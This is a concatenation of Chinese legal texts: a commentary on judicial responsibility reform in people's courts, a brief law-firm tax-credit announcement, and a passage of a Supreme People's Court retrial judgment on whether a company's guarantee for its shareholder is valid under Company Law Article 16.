在以人民法院作为审判主体的既有制度前提下,审判权如何在法院内各主体之间配置,这是确立中国特色司法审判制度所面临的首要问题。近10多年来,在此方面,制度及实践层面上都有一些反复,但迄至现今,总体上说,作为审判权核心的裁判决定权,仍然主要集中于院庭长及审委会之身,至少院庭长及审委会对裁判结果保持着不同程度的终极性话语权。这也是当下饱受各方面诟病的“审而不裁、裁而不审”现象。《若干意见》最为突出的举措在于,依据“审理者裁判,裁判者负责”的原则和理念,坚持以权力重心下移为取向,把绝大多数案件裁判的决定权赋予独任法官和合议庭,从根本上改变了裁判层层审核或审批的审判权运行方式,重塑了法院内部的审判权力格局。《若干意见》不仅确立了“遵循司法权运行规律,体现司法权的裁判权和裁决权属性,突出法官办案主体地位”的基本原则,更明确了独任法官和合议庭直接签发裁判文书的权力,并规定除审委会讨论决定的案件以外,院长、副院长、庭长对其未直接参加审理案件的裁判文书不再进行审核签发。这样一种新的权力格局的意义在于,一方面,法官在审判中的基础性、主导性作用得以充分体现,法官真实地成为案件的裁判者,从而回归这一职业的本质;另一方面,法官在自主、自决能力提升的同时,自我责任意识随之增强,对其他主体的依赖相应减少;再有,由于减少了裁判文书在层级中的周转,审判的效率也会有明显的提高。需要指出的是,法院内部权力重心下移的改革并不完全始自于《若干意见》,但与此前所不同的是:第一,《若干意见》所塑造的权力格局是以员额制改革配套为背景的,员额制下的法官在总体素质上较前有很大提升;第二,《若干意见》在塑造这样一种权力格局的同时,建构了相应的责任体系,强化了对权力行使的约束;第三,《若干意见》对院庭长管理监督的边界作了严格限定,以防止独任法官、合议庭的权力受到侵蚀。这几点能够有效保证重心下移后权力格局的相对稳定性,很大程度上可以避免过去曾经出现的权力下放后又上收的反复。 二、以规范审判运行秩序和合理配置审判资源为目标明确各主体的职能与职责定位 长期以来,法院内部各主体职能不清、职责不明一直是审判工作中存在的突出问题。职能不清、职责不明最直接的后果是审判运行秩序的紊乱。在具体审判活动中,各主体都可能依据自己不同的身份、以不同的方式、通过不同的途径和渠道,或明或暗地对案件的审理或裁判产生不同程度的影响,同时也可以以多种方式和理由推卸对案件审理或管理监督的责任。虽然多数人把“行政化”视为法院审判工作的主要病弊,但我认为,对审判工作影响更大的问题是审判运行秩序的紊乱。《若干意见》的重要内容是对法院内各主体的职能和职责作出了明确界定,从独任法官、合议庭到审委会、专业法官会议,从院长、副院长、庭长到审委会专职委员,从合议庭成员、法官助理到书记员,每一个主体的职能与职责在《若干意见》中都有明确的定位,其职能和职责范围及其行使或履行方式都有相应的规定。如此明确、全面地对法院各主体的职能和职责作出界定,尚属首次。更值得重视的是,《若干意见》在对各主体职能和职责界定的过程中,除了体现权力重心下移取向、确立独任法官和合议庭的审判主体地位外,还依据于两个目标维度:一是通过划清各主体的行为边界,明确各主体的行为方式和行为效力,规范审判运行秩序。特别是对具有直接交集的审判权与审判管理监督权在实际运作中所可能出现的权力互蚀或彼此排斥现象,《若干意见》给予了充分的关注,通过突出强调某些不能逾越的底线(如规定院长、副院长、庭长除参加审判委员会、专业法官会议外不得对没有参加审理的案件发表倾向性意见),以及规定某些特殊情况的处理原则和方式(如规定对某些情形下的案件,院庭长介入的权力及处理方式和效力),从而保证审判权和审判管理监督权的恰当行使。可以推断,各主体只要依照《若干意见》所确定的职能和职责行事,法院审判运行的有序化就是能够得到实现的。二是根据各主体的身份、性质及特点确定其职能和职责,最大限度实现审判资源的合理配置。主体职能和职责的定位,既体现了审判运行秩序的要求,同时也是审判资源的直接配置。《若干意见》在总结长期审判实践经验的基础上,把审判资源合理配置的要求贯彻在主体职能定位之中。在独任法官与合议庭的分工,院长与副院长、庭长的分工,专业法官会议与审委会的分工,法官与法官助理的分工以及法官与院庭长在作为合议庭成员参与审理案件中的分工等方面,都体现了审判资源合理配置的要求,从而既能够保证各尽其职,亦能体现出各尽所能,有助于最大限度地发挥人民法院整体审判资源的作用。 三、以保持法院对审判活动的整体控制力为前提实施并强化审判的监督管理 实践中,人民法院所面临的一个重要内在矛盾是审判主体的整体化(以人民法院名义进行审判活动)与审判行为的个别化(具体审判行为由内部成员实施)之间的矛盾。特别是在权力重心下移、审判职能主要由独任法官和合议庭行使的情况下,如何保持法院对审判活动、尤其是对个别化的审判行为保持恰当的控制力,这既是实践中难以把握的问题,更关系到司法责任制改革的成败。《若干意见》除了通过审判责任追究制度的约束外,还着力从几个方面实施并强化审判的监督与管理:一是强调依据信息技术、建构开放动态的阳光司法机制,建立健全审判公开的三大平台,发挥各种监督的作用;三是建立符合司法规律的案件质量评估体系和评价机制;四是通过建立法官考评委员会,加强对法官个人绩效及行为操守的考核评价;五是建立审判业务法律研讨机制,通过类案、案例评析等方式统一裁判尺度;六是规定对几类特殊情形下的案件,院长、副院长、庭长有权要求独任法官或合议庭报告案件进展和评议结果,并有权提交专业法官会议或审委会讨论。这几个方面能够形成三个效果:其一,保持审判行为足够的透明度,使审判活动始终置于相关各方的审视之下,消除管理监督中的盲区。其二,保持对审判行为常态化的约束力和引导力,使审判行为在恰当的规范下有所顾及、有所禁忌、有所遵循、有所趋从。其三,保持对失当行为适时矫正的能力。特别是保留院长、副院长及庭长对几种情形下案件介入的权力以及审判委员会对相关案件裁判的最终决定权,有助于防止独任法官或合议庭在重大问题上出现偏差。从目前现实看,这一制度设计对于保持法院对整体审判活动的控制力是完全必要的。 四、以权责相符、主客观统一为原则建构审判责任认定和追究制度 审判责任的认定和追究是《若干意见》中份量很重的内容。从审判责任范围、审判责任承担到违法审判责任追究程序,《若干意见》都作了较为系统、较为详细、且具有较强操作性的规定。审判责任认定和追究问题自“一五”改革规划出台以来就已经提出,但由于这一问题的复杂性,加之过去各主体的职责与权力边界不够清晰,因而在此方面制度与实践上都没有实质性进展。《若干意见》在总结实践经验、广泛吸收各方面意见的基础上,并根据改革后职能与权力的定位以及新的审判运行方式,对审判责任认定与追究的相关问题作出规定。总体上说,《若干意见》这些规定体现了两个基本原则:一是权责相符的原则。一方面,各主体有什么样的权力,就有什么样的责任;另一方面,各种不同的权力也分别对应着不同的责任。如前所述,新的运行机制下,法官在审判中的权力大大增加,因而针对法官履行审判职责行为的责任约束也大大强化。责任约束不仅细化到审判行为的各种错失,更重要是明确规定法官对办案质量终身负责。同样,具有管理监督权力和职责的人员,因怠于管理监督或管理监督行为失当,《若干意见》也规定了相应的责任。二是主客观统一的原则。一方面,《若干意见》对一般性审判责任与违法审判责任、造成后果的责任与未造成后果的责任作了区分,根据不同的主客观情况,追究不同的责任且适用不同的责任认定和追究程序;另一方面,《若干意见》对于几种情形下依再审程序改判的案件,明确规定不得作为错案进行责任追究。这一点,充分体现了主客观相统一的原则,同时也解除了法官在履职行为中不必要的担忧。此外,《若干意见》还专章规定了对法官履职的保障,这既是对法官正确履职行为的有效激励,也可以视为对审判责任追究的必要补充,因为如果没有保障和激励机制的支撑,责任约束机制难以真正形成和长期维系。 毫无疑问,中国特色审判制度的形成和完善是一个长期探索的过程,《若干意见》虽然为这一制度提供了一个基本架构,但其中的不少内容仍然需要经受实践的检验,需要在具体的实施中加以完善。特别是在我国各级、各地法院实际情况和条件差异较大的情况下,如何全面适用并适应其中各项制度或要求,仍有待于多方面的探索和努力,但无论如何,《若干意见》在我国司法审判制度的构建与完善中,具有里程碑的意义。 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康维律师所被确定为四川省2014年度纳税信用A级

四川省国税系统、四川省地税系统按照《国家税务总局关于发布〈纳税信用管理办法〉(试行)的公告》(国家税务总局公告2014年第40号)及《国家税务总局关于发布〈纳税信用评价指标和评价方式〉(试行)的公告》(国家税务总局公告2014年第48号)等文件要求,首次对全省纳税企业开展纳税信用评价工作,共评出A级纳税人10854户,B级纳税人290172户,C级纳税人35420户和D级纳税人13471户。 在税务部门公布的10854户A级纳税人名单中,康维律师所被列在第194位。在A级纳税人名单中列在第1~5位的企业依次为:中国石油天然气股份有限公司四川销售分公司、中国电信股份有限公司四川分公司、四川航空股份有限公司、中信银行股份有限公司成都分行、四川成渝高速股份有限公司。 ...

招商银行股份有限公司大连东港支行与大连振邦氟涂料股份有限公司、大连振邦集团有限公司借款合同纠纷案

《公司法》第十六条第二款规定,公司为公司股东或者实际控制人提供担保的,必须经股东会或者股东大会决议。该条款是关于公司内部控制管理的规定,不应以此作为评价合同效力的依据。担保人抗辩认为其法定代表人订立抵押合同的行为超越代表权,债权人以其对相关股东会决议履行了形式审查义务,主张担保人的法定代表人构成表见代表的,人民法院应予支持。 最 高 人 民 法 院 民事判决书 (2012)民提字第156号 再审申请人(一审原告、二审上诉人):招商银行股份有限公司大连东港支行(原招商银行股份有限公司大连胜利广场支行)。 负责人:薛晓东,该支行行长。 委托代理人:高蓓琦,该行工作人员。 委托代理人:王丽,辽宁瑾宸律师事务所律师。 被申请人(一审被告、二审被上诉人):大连振邦氟涂料股份有限公司。 法定代表人:陈恒富,该公司董事长。 原审被告:大连振邦集团有限公司。 法定代表人:周建良,该公司董事长。 委托代理人:姜波,辽宁君广泽律师事务所律师。 再审申请人招商银行股份有限公司大连东港支行(以下简称招行东港支行)为与被申请人大连振邦氟涂料股份有限公司 (以下简称振邦股份公司)、原审被告大连振邦集团有限公司(以下简称振邦集团公司)借款合同纠纷一案,不服辽宁省高级人民法院(2010)辽民二终字第15号民事判决,向本院申请再审。本院于2012年7月 3日作出(2012)民申字第2号民事裁定,提审本案。本院依法组成由审判员宫邦友担任审判长,审判员朱海年、代理审判员林海权参加的合议庭进行审理。书记员陆昱担任记录。本案现已审理终结。 大连市中级人民法院一审查明:2006年4月30日,招行东港支行与振邦集团公司签订编号为2006年连贷字第SL006号借款合同,约定:借款金额为1496.5万元人民币,借款期限自2006年4月30日至 2006年6月30日,如贷款放出的实际日期与上述起始日期不一致,则贷款起止日期以借款借据确定的起止日期为准,借款用途为债权转化(借新还旧),贷款利率为年利率6.435%,振邦集团公司未按期偿还贷款的,对其未偿还部分从逾期之日起按在原利率基础上加收50%计收,贷款期间,若遇中国人民银行调整贷款利率,则按中国人民银行调整贷款利率的有关规定执行。 2006年6月8日,振邦股份公司出具了编号为2006年连保字第SL002号《不可撤销担保书》,承诺对上述贷款承担连带保证责任,保证范围包括借款本金、利息、罚息、违约金及其他一切相关费用。保证期间为自本保证书生效之日起至借款合同履行期限届满另加两年。2006年4月30日,招行东港支行与振邦股份公司分别签订了两份《抵押合同》,该合同规定以振邦股份公司所有的位于大连市甘井子区管城子镇郭家沟村182 559平方米的国有土地使用权(土地证号为大甘国用2005第04038号)及大连市甘井子区管泰街 17套计24 361.09平方米的房产作抵押。同年6月6日在大连市国土资源和房屋局甘井子分局对位于大连市甘井子区营城子镇郭家沟村182 559平方米的土地办妥了抵押登记,同年6月8日在大连市房地产登记发证中心对位于大连市甘井子区营泰街8号17套计24 361.09平方米的房产办理了抵押登记,担保范围包括但不限于借款本金、利息、罚息、违约金、损害赔偿金及实现债权的费用。招行东港支行在中国银行之后为第二抵押权人。 2006年6月8日,招行东港支行按照合同约定将1496.5万元贷款如数转入振邦集团公司账户内。贷款到期后,振邦集团公司未能偿还借款本息。 振邦股份公司也没有履行担保义务。 振邦股份公司的股东共有8个,分别为振邦集团公司、天津环渤海创业投资管理有限公司、中绿实业有限公司、辽宁科技创业投资有限责任公司、泰山绿色产业有限公司、大连科技风险投资基金有限公司、王志刚、张国忠。振邦股份公司的股东之一大连科技风险投资基金有限公司在2003年5月23日将名称由“大连科技风险投资有限公司”变更为现名称“大连科技风险投资基金有限公司”。《股东会担保决议》的决议事项并未经过振邦股份公司股东会的同意,振邦股份公司也未就此事召开过股东大会。 2008年6月18日,招行东港支行以振邦集团公司和振邦股份公司为被告,向大连市中级人民法院提起诉讼,请求判令振邦集团公司偿还贷款本金1496.5万元及至给付之日的利息(包括逾期利息);要求振邦股份公司对上述债务承担连带责任;要求两被告承担诉讼费、保全费等。 大连市中级人民法院一审认为:招行东港支行与振邦集团公司签订的借款合同系双方当事人真实意思表示,合法有效。招行东港支行依约发放了借款, 振邦集团公司理应按约定的期限偿还借款本息,其未能按合同约定履行义务系违约行为,应依法承担违约责任。关于招行东港支行与振邦股份公司签订的抵押合同以及振邦股份公司出具的不可撤销担保书的效力一节,因振邦集团公司系振邦股份公司的股东,鉴于振邦股份公司《章程》及股东会对公司为其股东或实际控制人即振邦集团公司提供担保均无特别授权,依照《中华人民共和国公司法》(以下简称公司法)第十六条的规定,振邦股份公司为其股东振邦集团公司提供担保,必须要经振邦股份公司的股东会决议通过,而招行东港支行提供的《股东会担保决议》系无效决议,因此振邦股份公司法定代表人周建良无权订立涉案的抵押合同及不可撤销担保书,即涉案的抵押合同及不可撤销担保书系周建良超越权限订立,对于周建良超越权限订立抵押合同及不可撤销担保书,招行东港支行是知道或者应当知道的,理由如下:1.招行东港支行虽然获取了《股东会担保决议》,但按照公司法第十六条第二款的规定“公司为公司股东或者实际控制人提供担保的,必须经股东会或者股东大会决议。”招行东港支行对《股东会担保决议》中存在的一些明显瑕疵却未尽到合理的形式审查义务,例如,其中一枚名称为“辽宁科技创业投资责任公司”的印章,按公司法规定不可能存在“责任公司”这种名称,招行东港支行对此瑕疵依法应能审查出来,结果却未审查出来,庭审中,招行东港支行对此也承认存在疏忽。2.振邦股份公司的股东之一大连科技风险投资基金有限公司,在2003年就已经将名称由“大连科技风险投资有限公司”变更为现名称“大连科技风险投资基金有限公司”,而《股东会担保决议》形成于 2006年,故其上所盖的名为“大连科技风险投资有限公司”的印章系作废旧印章,对此招行东港支行应进行审查,但实际其并未尽到审查义务。3.根据公司法第十六条第三款规定“前款规定的股东或者受前款规定的实际控制人支配的股东,不得参加前款规定事项的表决”,振邦集团公司作为振邦股份公司的股东,本不应参加此担保事项的表决,但《股东会担保决议》上却盖有振邦集团公司的印章,对此因公司法有明确规定招行东港支行亦应进行审查,结果招行东港支行同样未尽审查义务。综上,对于上述明显瑕疵招行东港支行经审查应能很容易审查出,但其却未尽到应有的审查义务,故可以确定招行东港支行知道或应当知道周建良系超越权限订立抵押合同及不可撤销担保书。根据最高人民法院《关于适用<中华人民共和国担保法>若干问题的解释》(以下简称担保法解释)第十一条“法人或者其他组织的法定代表人、负责人超越权限订立的担保合同,除相对人知道或者应当知道其超越权限的以外,该代表行为有效”的规定,该案中涉案抵押合同及不可撤销担保书应认定为无效。由于振邦股份公司作为担保人给招行东港支行提供的《股东大会担保决议》上盖的“天津环渤海创业投资管理有限公司”、“中绿实业有限公司”、“辽宁科技创业投资责任公司”、“大连科技风险投资有限公司”的印章均系虚假印章,其对抵押合同及不可撤销担保书的无效显然存在过错,招行东港支行作为债权人由于未尽到相应的审查义务也存在过错,故根据担保法解释第七条“主合同有效而担保合同无效,债权人无过错的,担保人与债务人对主合同债权人的经济损失,承担连带赔偿责任;债权人、担保人有过错的,担保人承担民事责任的部分,不应超过债务人不能清偿部分的二分之一”的规定,振邦股份公司应当对振邦集团公司不能清偿部分的债务承担二分之一的赔偿责任。 该院于2009年12月3日依照合同法第一百九十六条、第二百零六条、第二百零七条,担保法解释第七条、第十一条,公司法第十六条之规定,判决:一、振邦集团公司自本判决生效之日起十日内偿还招行东港支行借款本金1496.5万元人民币及利息(自2006年6月8日至同年8月8日按年利率6.455%计算,自2006年8月9日至本判决生效日止按中国人民银行规定的同期逾期贷款利率计算)。如果未按该判决指定的期间履行义务,应当按照《中华人民共和国民事诉讼法》第二百二十九条之规定加倍支付迟延履行期间的债务利息;二、在振邦集团公司不能清偿上述款项时,由振邦股份公司对振邦集团公司不能清偿部分的二分之一承担赔偿责任;三、驳回招行东港支行的其他诉讼请求。案件受理费 128 690元,财产诉讼保全申请费5000元,合计133 690元,由振邦集团公司承担。鉴定费用62022元,由振邦股份公司承担。 招行东港支行不服上述一审判决,向辽宁省高级人民法院提起上诉称:一、一审判决认定事实不清,招行东港支行与振邦股份公司签订的借款担保合同真实、有效。振邦股份公司出具的不可撤销担保书和抵押合同均有该公司的印章和其法定代表人的签字,并已依法进行了抵押登记,这说明振邦股份公司已明知自己的义务及法律责任。由此可以肯定振邦股份公司为振邦集团公司的贷款进行担保系其真实意思表示。故招行东港支行享有合法抵押权,应受法律保护。二、一审法院适用法律错误,招行东港支行对担保人的《股东会担保决议》无审查义务,更无核实其真实性的责任和可能。一审依据公司法第十六条认定招行东港支行作为第三人对涉案《股东会担保决议》有法定审查义务,却未依公司法第二十二条认定振邦股份公司对担保决议并未在法定期限内行使撤销权,理应承担股东会担保决议有效的法律责任。《公司法》总则第一条即已明确表示该法制定之目的“为规范公司的组织和行为”,由此可见公司法第十六条规定应是对公司内部行为的强制规范,并未规定公司以外第三人有查实股东会决议的义务与责任。一审法院认为其有核实股东会决议的义务结论有悖逻辑,更违背公司法立法之总则。公司为股东担保必须经股东大会决议,但公司审议、决议都是公司内部事务,尤其是有限责任公司,债权人难以实现审查控股股东以及实际控制人的工作。公司法第二十二条明确规定“股东会决议表决方式违反法律、行政法规或公司章程的,股东可以自决议作出之日起60日内请求人民法院撤销。”既然一审法院在无明文规定的前提下认定第三人对股东会担保决议具有审查义务,那么振邦股份公司股东对担保决议并未在法定期限内行使撤销权,故该决议应视为有效。三、《股东会担保决议》符合形式审查要件,不存在主观过错。振邦股份公司提供的《股东会担保决议》上具备公章及法人签名,其符合形式审查要求。振邦股份公司之股东涉嫌印章造假的行为后果,不应由招行东港支行承担。请求二审法院依法改判振邦股份公司为振邦集团公司借款承担连带担保责任或发回重审。 振邦股份公司未作书面答辩,庭审中辩称:一、振邦股份公司提供的担保无效,招行东港支行提供的《股东会担保决议》,因违反了公司法第十六条第二款的规定,没有征得振邦股份公司股东会的同意,系无效决议。招行东港支行提供的所谓振邦股份公司的《股东会担保决议》,被担保的股东振邦集团公司在决议上加盖了公章,违反了公司法第十六条第三款被担保股东必须表决回避的强制性规定。其他四个单位的股东单位盖章,其中两枚经过司法鉴定是伪造的,另外两枚印章的名称与股东单位名称不一样,也是伪造的。事后该四家股东对《股东会担保决议》的内容也不予追认。所以,从形式上看,即使开过所谓的股东会,出席会议的其他股东都不同意担保,更谈不上过半数同意,所以也违反了公司法第十六条第三款的规定,股东会决议无效。另外,招行东港支行也没有提供振邦股份公司股东会的会议记录,其他四名股东均出具了声明,说明没有开过股东会也没有做过同意担保的决议,其他股东的印章都是伪造的,更能证明股东会决议是不存在的。二、招行东港支行对《股东会担保决议》负有形式审查义务,其没有尽到该义务,存在过错。一审法院认定的是《股东会担保决议》无效,而不是撤销。因此,招行东港支行提出的没有在法定期限内行使撤销权的理由不能成立。三、招行东港支行对担保无效应当承担责任。招行东港支行对担保无效的后果过错明显,其没有尽到合理的审慎的形式审查义务。比如某某责任公司,公司法没有这种称谓。招行东港支行对如此明显错误没有审查出来,显然是有过错的。这份《股东会担保决议》还有被担保股东的盖章,从形式上看就明显违反了公司法第十六条第三款的规定,招行东港支行应当审查出来。对于股东会决议上的几处瑕疵,都是形式上的瑕疵,对这种瑕疵不能因为招行东港支行不熟悉公司法而免责。所以招行东港支行没有尽到合理审查义务,对担保无效应承担法律责任。请求二审法院驳回上诉,维持原判。 振邦集团公司庭审中述称:同意招行东港支行的上诉观点,请求二审法院依法判决。 辽宁省高级人民法院除认定一审查明事实外,另查明:根据振邦股份公司的申请,一审法院委托辽宁德恒物证司法鉴定所对《股东会担保决议》中盖有的“天津环渤海创业投资管理有限公司”和“中绿实业有限公司”二枚印章进行鉴定,其鉴定意见为:《股东会担保决议》上盖印的“天津环渤海创业投资管理有限公司”印章印文与样本《2006年度年检报告书》上盖印的“天津环渤海创业投资管理有限公司”印章印文不是同一枚印章所盖。《股东会担保决议》上盖印的“中绿实业有限公司”的印章印文与样本《2006年度年检报告书》上盖印的“中绿实业有限公司”的印章印文不是同一枚印章所盖。 又查明:沈阳市工商行政管理局提供的企业变更的登记情况查询卡片记载,自 2004年2月26日至2006年8月18日期间,辽宁科技创业投资有限责任公司没有变更企业名称。而《股东会担保决议》中盖有的印章是辽宁科技创业投资责任公司。大连市工商行政管理局高新园区分局出具的内资企业变更内容查询卡记载,原大连科技风险投资有限公司于2003年5月23日已变更为大连科技风险投资基金有限公司。根据大连市工商行政管理局高新园区分局出具的2002年7月22日振邦股份公司章程修正案中,股东原大连科技风险投资有限公司所盖的印章有数码,而《股东会担保决议》所盖大连科技风险投资有限公司的印章没有数码。 再查:振邦股份公司的8个股东中,王志刚和泰山绿色产业有限公司没有在《股东会担保决议》上签字盖章。根据振邦股份公司章程,振邦集团公司占总股本的 61.5%,振邦集团公司系振邦股份公司的股东和实际控制人。 辽宁省高级人民法院审理认为:招行东港支行与振邦集团公司所签订的借款合同是真实意思表示,合法有效。振邦集团公司未按合同约定履行义务,应当承担违约责任。振邦股份公司为振邦集团公司的借款提供了连带责任保证和抵押担保,由于该担保行为属于股份公司为其股东提供担保,故对其效力的认定应适用公司法的有关规定。公司法第十六条第二款规定“公司为公司股东或者实际控制人提供担保的,必须经股东或者股东大会决议”。第三款规定“前款规定的股东或者受前款规定的实际控制人支配的股东,不得参加前款规定事项的表决。该项表决由出席会议的其他股东所持表决权的半数通过”。据此,作为债权人招行东港支行应对借款人提供的借款抵押合同及《股东会担保决议》等相关资料的真实性从程序上、形式上进行审查。《股东会担保决议》中共盖有5枚印章,除振邦集团公司外所盖印章均不是真实的。《股东会担保决议》中盖有的股东天津环渤海创业投资管理有限公司和中绿实业有限公司印章,经司法鉴定均不是真实的。股东名称为“辽宁科技创业投资有限责任公司”,而《股东会担保决议》上盖有股东印章名称为“辽宁科技创业投资责任公司”没有“有限”二字,与股东名称明显不符。股东大连科技风险投资有限公司在2003年就已经将名称由“大连科技风险投资有限公司”变更为现名称“大连科技风险投资基金有限公司”,其所盖印章名称虽系更名前的名称,但并不是更名前的作废旧印章。因该公司更名前的旧印章上有数码标志,而《股东会担保决议》所盖旧印章却没有数码标志,招行东港支行应当审查出来。另外,振邦集团公司是振邦股份公司的股东和实际控制人,在《股东会担保决议》上也加盖公司印章,违背公司法的规定,招行东港支行应是明知的。综上,《股东会担保决议》所盖5枚印章均无效,一审确认《股东会担保决议》事项并未经过股东会的同意,该《股东会担保决议》因缺乏真实性,导致担保合同无效正确。招行东港支行没有尽到审查义务,存在过错,对担保合同无效,应当承担相应责任。根据担保法解释第七条“主合同有效而担保合同无效,债权人无过错的,担保人与债务人对主合同债权人的经济损失,承担连带赔偿责任;债权人、担保人有过错的,担保人承担民事责任的部分,不应超过债务人不能清偿部分的二分之一”的规定,该案中,招行东港支行和振邦股份公司对担保合同无效均存在过错,故一审判决振邦股份公司应当对振邦集团公司不能清偿部分的债务承担二分之一的赔偿责任,并无不当。招行东港支行所提一审法院适用法律错误,其不存在过错的上诉理由,不能成立,该院不予采纳。综上,一审认定事实清楚,证据确实充分,审判程序合法,应予维持。该院依据《中华人民共和国民事诉讼法》第一百五十三条第一款第 (一)项之规定,判决:驳回上诉,维持原判。二审案件受理费128 690元,由招行东港支行承担。 招行东港支行不服辽宁省高级人民法院上述民事判决,向本院申请再审称: (一)二审生效判决适用法律错误。本案应依据《中华人民共和国物权法》(以下简称物权法)第一百零六条关于善意取得制度的规定,申请再审人招行东港支行依法取得抵押权。再审申请人招行东港支行取得案涉土地的抵押权,属于担保物权范畴。根据物权法第一百零六条的规定,招行东港支行善意取得案涉土地、房产抵押权。首先,招行东港支行取得该抵押权时是善意的,振邦股份公司以案涉土地使用权设定抵押权是为了借新还旧,而银行作为金融机构,以发放贷款取得抵押权是善意的、正当的,招行东港支行是基于抵押登记已完毕才放的贷款,不存在任何恶意目的;第二,招行东港支行在取得案涉抵押权的同时,依约向振邦集团公司发放了贷款,即支付了合理的对价;第三,不动产抵押已经设立了抵押登记,根据物权法的规定,不论振邦股份公司是否有权办理案涉土地的抵押登记、是否取得该公司股东会同意,都不影响招行东港支行基于物权法善意取得制度的规定,合法地取得案涉土地、房产的抵押权。二审法院判决认为“振邦股份公司为振邦集团公司的借款提供了连带责任保证和抵押担保,由于该担保行为属于股份公司为其股东提供担保,故对其效力的认定应适用公司法的有关规定”是对法律的理解、适用错误。公司为股东提供担保的内部程序理应适用公司法,但对于与第三人已经设立了抵押登记的担保的效力问题,则应该适用物权法,因为这已经超出了公司内部问题的范畴。从公司法第一条、第一百四十九条、第一百五十条和第一百五十三条的规定可以看出,股东越权侵权是公司内部责任问题,不能对抗公司外部债权人。振邦股份公司对外已向招行东港支行出具了不可撤销担保书及抵押合同,并且在抵押登记部门办理了抵押登记。振邦股份公司的股东会决议是其公司内部管理问题,其形式要件及内容是否真实不应对抗招行东港支行已依法成立的担保物权。至于振邦股份公司因此而遭受的损失,应按公司法规定由公司内部相关责任人来承担赔偿责任。故二审生效判决根据振邦股份公司内部的《股东会担保决议》无效而认定招行东港支行的担保物权无效,是适用法律错误。 (二)二审生效判决事实认定错误。二审生效判决认为申请再审人招行东港支行没有尽到形式审查义务而判决该案涉抵押权无效,属事实认定错误。第一,招行东港支行作为金融机构,在发放贷款时一定要借款人提供担保并先进行抵押登记。本案中振邦股份公司以土地使用权做担保设定抵押,招行东港支行势必要先与其签订抵押合同并经登记。作为一个从事金融业务的专业机构,招行东港支行既不是专业的法律服务机构,也不是工商行政机关,也不是抵押登记部门,对于振邦股份公司欲设定担保的文件的形式审查义务,应当由抵押登记部门来承担。招行东港支行基于对抵押登记部门公信力的信任,在先进行了抵押登记之后,向借款人放款并无任何不当之处。二审生效判决将上述形式审查义务赋予并非专业法律服务机构、或工商行政机关、或抵押登记部门的招行东港支行,并据此而判决该抵押权无效,是事实认定不清。第二,招行东港支行作为善意第三人对《股东会担保决议》的形式审查仅限于“有这份文件”,并没有对其真实性进行审查的义务和能力。二审法院判决要求招行东港支行对该文件进行实质性审查,是事实认定错误。因为:1.对于《股东会担保决议》上股东天津环渤海创业投资管理有限公司和中绿实业有限公司所盖印章的真实性不具有鉴定能力;2.对于该决议上股东名称为“辽宁科技创业投资责任公司”的印章,法律并没有要求作为非专业法律机构或工商行政管理机构,而是金融机构的招行东港支行谙熟公司法,所以,招行东港支行并没有区别公司法上公司名称的能力和义务;3.对于该决议上用废旧印章盖印的“大连风险投资有限公司”,招行东港支行不是工商行政部门,也没有去工商行政部门查询的义务。 (三)招行东港支行无过错,保证人理应承担连带赔偿责任。 招行东港支行不可能知道振邦股份公司的保证和抵押合同是其内部管理人员违反公司法,未经过股东会决议越权签订,因为振邦股份公司提供了《股东会担保决议》文件,并且抵押担保在经过行政机关审查后已登记完毕。如果抵押担保有问题,抵押登记部门审核后不可能为其进行抵押登记。物权法第一百七十八条规定“担保法与本法的规定不一致的,适用本法”。本案庭审时物权法已生效,根据新法优于旧法原则,对于本案抵押部分的审理,应适用物权法善意取得制度的规定。 综上,振邦股份公司作为保证人应承担连带赔偿责任。二审判决认定事实不清、适用法律确有错误,请求依法改判,以维护法律的正确实施,维护作为善意第三人的招行东港支行的合法权益。 被申请人振邦股份有限公司经传唤未出庭应诉,其提交书面答辩意见称:一、善意取得制度不适用本案,原审适用法律正确;二、申请人未尽合理审慎注意义务,原审认定事实正确;三、股东会议决议系伪造,担保未经股东会同意。《抵押合同》、《不可撤销担保书》无效,申请人对无效结果存在过错,被申请人只应承担相应比例的赔偿责任。请求驳回申请人的再审请求。 原审被告振邦集团有限公司未发表答辩意见。 本院除认定一二审查明事实外,另查明:本院再审期间,再审申请人招行东港支行向本院提交一份新证据,即振邦股份公司股东会成员名单及签字样本,证明振邦股份公司提供给招行东港支行的股东会决议上的签字及印章与其提供给招行东港支行的签字及印章样本一致。 本院认为,本案各方争议的焦点是担保人振邦股份公司承担责任的界定。鉴于案涉借款合同已为一二审法院判定有效,申请再审人对此亦无异议,故本院对案涉借款合同的效力直接予以确认。案涉《抵押合同》及《不可撤销担保书》系担保人振邦股份公司为其股东振邦集团公司之负债向债权人招行东港支行作出的担保行为。作为公司组织及公司行为当受《公司法》调整,同时其以合同形式对外担保行为亦受合同法及担保法的制约。案涉公司担保合同效力的认定,因其并未超出平等商事主体之间的合同行为的范畴,故应首先从合同法相关规定出发展开评判。关于合同效力,《中华人民共和国合同法》(以下简称合同法)第五十二条规定“有下列情形之一的,合同无效。…… (五)违反法律、行政法规的强制性规定”。关于前述法律中的“强制性”,最高人民法院《关于适用<中华人民共和国合同法>若干问题的解释(二)》 (以下简称合同法解释二)第十四条则作出如下解释规定“合同法第五十二条第(五)项规定的“强制性规定”,是指效力性强制性规定”。因此,法律及相关司法解释均已明确了将违反法律或行政法规中效力性强制性规范作为合同效力的认定标准之一。公司作为不同于自然人的法人主体,其合同行为在接受合同法规制的同时,当受作为公司特别规范的公司法的制约。公司法第一条开宗明义规定“为了规范公司的组织和行为,保护公司、股东和债权人的合法权益,维护社会经济秩序,促进社会主义市场经济的发展,制定本法”。公司法第十六条第二款规定:“公司为公司股东或者实际控制人提供担保的,必须经股东会或者股东大会决议”。上述公司法规定已然明确了其立法本意在于限制公司主体行为,防止公司的实际控制人或者高级管理人员损害公司、小股东或其他债权人的利益,故其实质是内部控制程序,不能以此约束交易相对人。故此上述规定宜理解为管理性强制性规范。对违反该规范的,原则上不宜认定合同无效。另外,如作为效力性规范认定将会降低交易效率和损害交易安全。譬如股东会何时召开,以什么样的形式召开,何人能够代表股东表达真实的意志,均超出交易相对人的判断和控制能力范围,如以违反股东决议程序而判令合同无效,必将降低交易效率,同时也给公司动辄以违反股东决议主张合同无效的不诚信行为留下了制度缺口,最终危害交易安全,不仅有违商事行为的诚信规则,更有违公平正义。故本案一、二审法院以案涉《股东会担保决议》的决议事项并未经过振邦股份公司股东会的同意,振邦股份公司也未就此事召开过股东大会为由,根据公司法第十六条规定,作出案涉不可撤销担保书及抵押合同无效的认定,属于适用法律错误,本院予以纠正。 